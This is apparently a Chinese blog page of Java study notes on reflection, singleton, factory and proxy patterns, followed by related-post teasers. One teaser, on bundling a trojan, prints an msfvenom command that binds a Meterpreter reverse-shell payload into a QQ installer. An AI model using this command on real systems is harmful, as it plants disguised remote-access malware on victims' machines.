JAVA9

Java9安装 前言没有Java9安装包的,可以去我的网盘里面下载(链接:https://pan.baidu.com/s/1bQlfdk 密码:bchl),里面内含window和linux两个版本。安装 这里已window下的安装为例。第一步,双击安装文件。 第二步,选择安装目录第三步,开始安装。第四步,定制安装(JRE). 第五步,安装中.第六步,安装完成。 测试附 Java9官方文档官方文档地址结语作者 阅读详情

1.反射

Class 这是一个类
任何一个类,当它被加载到内存时,JVM自动创建了一个Class对象,这个Class对象像镜子一样照着当前这个类的类结构,
它可以看见当前这个类的成员变量和方法
获取当前Class对象的三种方法:
	1.	类名.class
	2.	对象名.getClass()
	3.	Class.forName(全类名)
注意:对于某个类加载而言,任何一种方式生成的Class对象实际上是同一个对象
getSimpleName()	可以通过Class对象调用该方法获取正在加载的类名
Person p = new Person();
Class c1 = p.getClass();  //1.对象名.getClass()
Class c2 = Person.class;  //2.类名.class
System.out.println(c1==c2);
Class c3 = null;
try {
    c3 = Class.forName("com.iweb.test1.Person");  //3.Class.forName(全类名)
} catch (ClassNotFoundException e) {
    e.printStackTrace();
}
System.out.println(c1==c3);
System.out.println(c1.getSimpleName());	//4.Class对象.getSimpleName()

2.Class对象.newInstance()

我们可以通过Class对象.newInstance()来创建正在加载的那个类的对象,它其实是调用该类无参的构造方法进行创建
Class<Person> c1 = Person.class;
try {
    Person p = c1.newInstance();
} catch (InstantiationException e) {
    e.printStackTrace();
} catch (IllegalAccessException e) {
    e.printStackTrace();
}

3.Field

//表示一个成员变量,通过Class对象.getField("成员变量名")来获取当前正在加载类的某个成员变量的Field对象
//然后,通过该对象.set(加载类的对象.属性值) 来为加载类对象赋属性值
Person p = c1.newInstance();
Field f1 = c1.getField("name");
f1.set(p,"张三");
//对于非公共的成员变量:可以通过getDeclareField("成员变量名")来获取,然后通过该Field对象调用setAccessible(true)进行授权
//授权之后才可以进行赋值
Field f2 = c1.getDeclaredField("age");
f2.setAccessible(true);//对非公共的成员变量进行授权
f2.set(p,2);

4.Method

表示一个方法
1.无参方法:
通过Class对象.getMethod("方法名")来获取当前正在加载类的某个方法的Method对象
然后,通过该对象.invoke(加载类对象)来执行方法
Method m1 = c1.getMethod("show");
m1.invoke(p);
2.有参方法:
通过Class对象.getMethod("方法名",参数类型.class)来获取当前正在加载类的某个方法的Method对象
然后,通过该对象.invoke(加载类对象,参数值)来执行方法
Method m2 = c1.getMethod("display", String.class);
m2.invoke(p,"中国");

5.Field

//getFields()可以获取当前加载类中所有public的成员变量的Field数组
Field[] fields = c1.getFields();
System.out.println(fields.length);
for (Field field : fields) {
    System.out.println("属性是"+field);
}
//getDeclaredFields()可以获取当前加载类中所有成员变量的Field数组
Field[] fields2 = c1.getDeclaredFields();
for (Field field : fields2) {
	System.out.println("属性是"+field);
}

6.Method

1.getMethods()
获取所有方法包括父类的方法,返回Method数组
Method[] methods = c1.getMethods();
for (Method method : methods) {
    System.out.println(method);
}
2.getDeclaredMethods()
获取当前类中的方法,返回Method数组
Method[] methods2 = c1.getDeclaredMethods();
for (Method method : methods2) {
    System.out.println(method);
}

7.Constructor

表示一个构造方法对象,我们可以通过Class对象调用getDeclaredConstructors()获取当前类中的构造方法数组
Constructor[] constructors = c1.getDeclaredConstructors();
System.out.println(constructors.length);
for (Constructor constructor : constructors) {
    System.out.println(constructor);
}

8.单例模式

我们需要将构造方法私有化,并提供一个该类类型的成员变量使用private static修饰
1.饿汉模式:在当前类被加载的时候,自动创建出唯一对象,对于唯一的对象还需要final修饰,通过静态方法返回给调用者
2.懒汉模式:类加载的时候,不创建唯一对象,等到静态方法被第一次调用的时候,来判断成员变量是否为空,如果为空就创建
	注意:饿汉模式线程同步;懒汉模式线程不同步,需要手动在静态方法上添加 synchronized 关键字
//写法1 饿汉模式
public class MySingleton {
    private static final MySingleton only = new MySingleton();
    private MySingleton() {
    
    }
    public static MySingleton getOnly() {
        return only;
    }
}
//写法2 懒汉模式
public class MySingleton2 {
    private static MySingleton2 only = null;
    private MySingleton2() {}
    public static MySingleton2 getOnly() {
        if (only==null)
            only = new MySingleton2();
        return only;
    }
}

9.静态代码块

当前类加载到内存时所要执行的代码
格式:
static{

}

10.工厂模式

工厂模式:将实体类的创建过程封装在工厂类中,当需要该对象时,只需要调用工厂类的静态方法返回某个对象即可
1.静态工厂模式
	创建一个集合对象,作为成员变量,用来存储一些产品对象,在静态代码块中完成产品对象的生产并存入集合对象,
	然后提供一个public static的工厂方法给外键调用,根据需要返回指定的产品即可。
2.实例工厂模式
	首先必须创建工厂对象,然后才能完成产品的生产级返回。
/*1.静态工厂模式*/
//产品类
public class Car {
    private String cno;
    private String brand;
    private int price;
    ...
}
//工厂类
public class CarFactory {
    private static Map<String,Car> map =new HashMap<>();
    static {
        map.put("10001",new Car("10001","audi",2500000));
        map.put("10002",new Car("10002","bmw",100000));
    }
    public static Car getCar(String cno) {
        return map.get(cno);
    }
}
//测试
public class Test5 {
    public static void main(String[] args) {
        Car c =CarFactory.getCar("10001");
        System.out.println(c);
    }
}
/*2.实例工厂模式*/
//工厂类
public class CarFactory2 {
    private  Map<String,Car> map = null;
    public CarFactory2() {
        map = new HashMap<>();
        map.put("10001",new Car("10001","audi",2500000));
        map.put("10002",new Car("10002","bmw",100000));
        ...
    }
    public  Car getCar(String cno) {
        return map.get(cno);
    }
}
//测试
public class Test6 {
    public static void main(String[] args) {
        CarFactory2 carFactory2 = new CarFactory2();
        Car car = carFactory2.getCar("10001");
        System.out.println(car);
    }
}

11.代理模式

主体业务逻辑的类只专注自己的业务,周边相关的杂事交给代理类解决
我们定义一个完整业务的接口,使得主题类和代理类都实现该接口,我们定义一个完整业务的接口,使得主体类和代理类都实现该接口,
主体类在重写业务的方法中只需要专注主体业务.代理类提供主体类类型的成员变量,并且在重写的业务方法中调用主体类的业务方法,
除此之外,再完成相关的周边业务功能,用户只需要面向代理类进行业务方法调用即可。
//主体类
public class CarFactory2 implements CarSale {
    private  Map<String,Car> map = null;
    public CarFactory2() {
        map = new HashMap<>();
        map.put("10001",new Car("10001","audi",2500000));
        map.put("10002",new Car("10002","bmw",100000));
        map.put("10003",new Car("10003","ford",10000));
        map.put("10004",new Car("10004","volv",125500));
    }
    public  Car getCar(String cno) {
        return map.get(cno);
    }

    @Override
    public void sale() {
        System.out.println("工厂卖车");
    }
}
//代理类
public class Car4s implements CarSale {
    CarFactory2 carFactory2 = new CarFactory2();
    @Override
    public void sale() {
        System.out.println("我是4s店,我开始帮工厂卖车");
        carFactory2.sale();
        System.out.println("上牌");
        System.out.println("上保险");
        System.out.println("售后");
    }
}

public class Test7 {
    public static void main(String[] args) {
        Car4s car4s = new Car4s();
        car4s.sale();
    }
}
Python、Selenium实现问卷星自动填写(内含适配个人问卷的方法) 使用Python、Selenium实现问卷星自动填写,内含适配个人问卷的方法。 阅读详情

相关推荐

嵌入式人工智能(18-基于树莓派4B的继电器JQC-3FF-S-Z)

本次实验的输出端控制不会接强电,就用LED灯来模拟即可,由于我那个流水灯模块是低电平点亮,所以接线稍有不同,同学们注意。只有继电器吸合,输出端的NO与COM就导通,给LED低电平然后就亮,否则继电器断开,NO与COM不导通,LED不亮。原理都一样,控制电流的接通与断开,这个模块看起来还简单点,毕竟还有2个指示灯,下端IN如接上电源红灯亮,继电器动作有电流通过绿灯亮。在实际应用中,可以通过编程控制继电器的通断状态,例如在Python编程中设置继电器模块的通断时间,从而实现自动化控制。

u010152658的博客 2531

ubuntu java8 java9_如何在Debian和Ubuntu系统中安装Java 9

本教程将指导您如何使用PPA和源代码在基于Debian和Ubuntu的Linux发行版中安装Java 9 Standard Edition Development Kit (JDK)。使用PPA安装Java 9要安装最新的Java 9版本,请首先将以下webupd8team / java PPA添加到您的系统并更新存储库包数据库,如图所示。$ sudo add-apt-repository ppa...

weixin_35607383的博客 413

基于FPGA的图像预处理系统(图)

 北京机械工业学院 韩娟娟 邓文怡 娄小平 由于获取图像的工具或手段的影响,使获取图像无法完全体现原始图像的全部信息。因此,对图像进行预处理就显得非常重要。预处理的目的是改善图像数据,抑制不需要的变形或者增强某些对于后续处理来说比较重要的图像特征。通常根据预处理目的的不同,把预处理技术归为图像增强技术和图像分割技术两类。图像对比度处理是空间域图像增强的一种方法。由于图像灰度范围狭窄会使

lyzhangxianglove的专栏 1780

Java输出9*9口诀

题目:输出9*9口诀。 程序分析:分行与列考虑,共9行9列,i控制行,j控制列。 程序设计: public class jiujiu { public static void main(String[] args) { int i=0; int j=0; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) ...

Monologue 1823

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

使用VScode编译AMI代码

我现在了解到的和拿到的code,都是基于AMI的code,一般的编译AMI都需要搭配使用AMI的编译环境Veb,而Veb用到现在,一直都觉得有点卡顿,浏览代码的体验也比VScode差很多。在这之前还要,考虑设置TOOLS_DIR和EWKE_DIR的环境变量,因为在Veb中是可以通过设置自动设置的,但是VScode里面没用设置环境变量的选项。这里可以看出,Veb工具栏中的Build和Rebuild All的命令对应这里的make和make rebuild,也就是说Veb是调用此命令进行编译的。

Dodijd的博客 1881

java8和java9的对比

一:Java9比Java8的改进 1)引入了模块系统:采用模块化系统,这样的话这些应用程序只需要所需的那部分JDK模块, 而非是整个JDK框架了,减少了内存的开销。 2)引入了一个新的package:java.net.http;提供了对Http访问很好的支持,不仅支持 Http1.1而且还支持HTTP2。 3)引入了jshell这个交互性工具,让Java也可以像脚本语言一样来运行,可以从控制台启动 jshell ,在jshell 中直接输入表达式并查看其执行结果。 4)增加了List.of()、Set.of

учёба 4097

【微信小程序-uniapp】CustomPicker 自定义单项选择器组件

自定义底部弹出框单项选择器组件,适用于uniapp小程序

Komorebi_00的博客 1532

9模块化学习 java_Java 9模块

9模块化学习 javaJava 9 modules are one of the biggest change in the structure of java. Here I am going to give a brief high level introduction about “Java 9 Module System”. Java 9模块是Java结构中最大的变化之一。 在这里,我将简...

从零开始的教程世界 579

Transformer 时间序列预测实战

Transformer 时间序列预测实战

机器学习深度学习业余选手 743

全球气候模式降尺度方法总结及其代码实现

简介总结各类型气候模式降尺度方法

WW、forever的博客 1万+

从Java 9 到 Java 17之Java 9

Java 17 是Java 最重要的一个LTS版本之一,但是直接从Java 8 过渡到Java 17跨度太大了,势必有些困难。所以胖哥抽时间梳理了一下从Java 9到Java 17的一些常...

码农小胖哥 984

使用R语言绘制Logistic回归模型的亚组分析森林图

亚组分析是一种常用的统计方法,用于探索不同亚组之间的差异,并确定是否存在某些变量对结果的调节作用。在本文中,我们将使用R语言来绘制Logistic回归模型的亚组分析森林图。在该图中,每个亚组都用一个点表示,点的位置表示亚组的均值,而线段表示亚组的置信区间。垂直参考线用于表示效应值为0的点,帮助我们判断亚组之间的差异。希望本文对你有所帮助,让你能够使用R语言绘制Logistic回归模型的亚组分析森林图。是一个二分类的变量,我们希望在亚组分析中探索它与响应变量之间的关系。函数来计算每个亚组的均值,并使用。

PixelNinja的博客 2003

java9啥时候出的,Java 9 终于发布了,开始尝鲜

期待已久的Java9终于发布了,可以体验一把jshell。关于jdk9的新特性,上午一搜一大堆,我也不必再重复。废话不多少,开始体验。jdk9.jpg下载JDK细心的小伙伴会发现没有32位的,什么鬼?难道Oracle放弃32位了?其实32位的已经有了只是还没开放下载而已,下面是下载方法:在Linux中通过wget命令下载jdk-9_windows-x86_bin.exewget --no-chec...

weixin_30635315的博客 250

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

如何下载Java9

在Java 9 正式发布以来,很多人都迫不及待的寻找下载方式。由于目前Linux源暂时没有还没有更新,所以只能通过官网的方式下载。 打开oracle官网 http://www.oracle.com/ 或者在百度直搜索Java 点击Java SE 9,再点击JDK9。 就可以看到熟悉的画面了。和以往的Java版本一样。有linux、windows和mac三个版本的。选择自己的操作系统版本进行下

SteelZheng 7310

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

java9 揭秘 jlink_初试Java9

原标题:初试Java9Java 9 正式发布了JDK 9(http://openjdk.java.net/projects/jdk9/)有不少重要或是有意思的新特性,这里简单介绍下我的了解与尝试抛砖引玉下载oracle 官网下载即可。(http://www.oracle.com/technetwork/java/javase/downloads/jdk9-downloads-3848520.htm...

weixin_39899021的博客 395

java9 javafx,JavaFx JFoenix Java9

so I updated my Java from 8 to 9, and I do realize that Jfoenix has separate Jar file for Java 9.However after download the Jar file then trying to import to Scene builder like I did before, nothing s...

weixin_30199989的博客 238

java8 java9一起装_Ubuntu安装Java8和Java9

前言系统:Ubuntu 16.04软件: Java8, Java9Tips:Java 9 的代码由于提供了新特性,所以有些代码并不支持向后兼容。也就是说,用 Java 9 写的代码,有可能在 Java 8 或更早版本的 JDK 上不能运行。Java9终于出来了,可以尝鲜体验下,可惜Java8的语法还没有掌握全。关于Java8才刚看完了lambda,后面有空准备把后面的课程学完。(ps, 博客园少于...

weixin_42517486的博客 329

java 写9x9乘法表_Java小站:9x9乘法表背后的故事

今天在群里聊天的时候无意中想到刚学Java的时候写的乘法表,于是随手就写了个9x9,感觉还是蛮有意思的,在这里我分享下代码,并写一下关于9x9的故事。先上代码:public class MyTest {public static void main(String[] args) {for (int i = 1; i <= 9; i++) {for (int j = 1; j <= i;...

weixin_42127937的博客 532

java9什么时候公布_期待已久的Java 9 已经发布

人们期待已久的Java SE 9.0将在2017年9月21日发布,它会带来一些重要的变化。JDK 9的核心变化就是引入了一种新的Java编程组件,也就是模块,按照Oracle的说法,它是一个可命名的、自描述的代码和数据集合。模块技术的核心目标是减少Java应用和Java核心运行时环境的大小与复杂性。为此,JDK本身进行了模块化,Oracle希望通过这种方式提升性能、安全性和可维护性。为了支持Jav...

weixin_42498892的博客 404

有java9吗_Java9

序 本文主要研究一下java9 gc log参数的迁移。 统一JVM及GC的Logging java9引进了一个统一的日志框架,把gc相关的log输出及配置也给纳入进来了。 相关JEP(JDK Enhancement Proposal) JEP 158: Unified JVM Logging JEP 264: Platform Logging API and Service JEP 271: U...

weixin_39562185的博客 76

如何在Maven项目中设置Java9

如何在Maven项目中设置Java 9 发表于 2017-07-19   |   分类于 基础   |     |   本站访客数 82人次 如何在Maven项目中设置Java 9 在这个简短的教程中,我想向你展示如何配置新的Java 9启用的Maven项目。 TL; DR 您可以在这里找到一个示例项目:https//github.com/springuni/spr

戦う! 717

java9 spring_我需要Spring 5 for Java 9吗?

Spring 5被宣传为“支持JDK 9”,同时Spring 4.3.13的文档声明它支持Java 8 (as well as 6 and 7).这是否意味着我需要在可以之前升级到Spring 5>在JRE 9中运行我的应用程序?>使用JDK 9编译我的应用程序?解决方法:弹簧在the official Spring blog,他们宣布Spring 4.2将支持Java 7和8(它在4...

weixin_28761343的博客 222

java 9 api_Java9 Process API

在负责控制和管理操作系统进程的Java 9 Process API中已经有了相当大的改进。 ProcessHandle类提供进程本机进程ID,开始时间,累计CPU时间,参数,命令,用户,父进程和子进程。 ProcessHandle类还提供了检查进程活性并销毁进程的方法。 它具有onExit方法,当进程退出时,CompletableFuture类可以异步执行操作。参考以下实现代码(Tester.ja...

weixin_39704314的博客 879

java 9 java 8_Java 8和Java 9之间的区别

Java 9版本引入了新的增强功能并添加了新功能。它包括JShell,Http2Client,Java平台模块系统(JPMS),多版本jar文件,堆栈遍历API,接口中的私有方法,流程API更新,集合API更新,流API改进等。以下是Java 8和Java 9之间的一些区别在Java 8和更早版本中,顶级组件是package。它将一组相关类型(类,接口,枚举等)放入一个组中,并且还包含一组资源,...

weixin_29817227的博客 1146

Java 9 与 Java 10

现在java发展到目前的阶段应该算是非常成功的,自java 9 之后oracle采用新的更新的策略,即每半年发布一个新版本,也就是用不了多久java 11 , 12会接踵而至。 java 9是一个坎,引入了jagsaw模块化技术,以及版本号的变化变 9.0.x有大量的软件需要更新才能适配 java 9。当然对应的开发工具也需要更新,比如eclipse之类的。 新的环境变量设置方式: 因为模块...

找到了最重要的事情 3371

手机怎么用java9_初试Java9

这里正有一个新特性[223], 新的版本字符串格式$MAJOR.$MINOR.$SECURITY.$PATCH.值得一提的是,Java 9 以后,新的功能版本将每六个月更新一次, 每三年发布一次长期支持. 此外,下个版本并不是 Java 10,而是Java 18.3,将于2018年3月推出。新特性jigsaw 模块化可以说Java 9 最重要,也是受到最多关注的功能就是模块化了。模块化经历了多次跳...

weixin_34803977的博客 238
上一篇: JAVA8
下一篇: MYSQL+JDBC
数字世界
博客等级 码龄9年 6粉丝 28原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值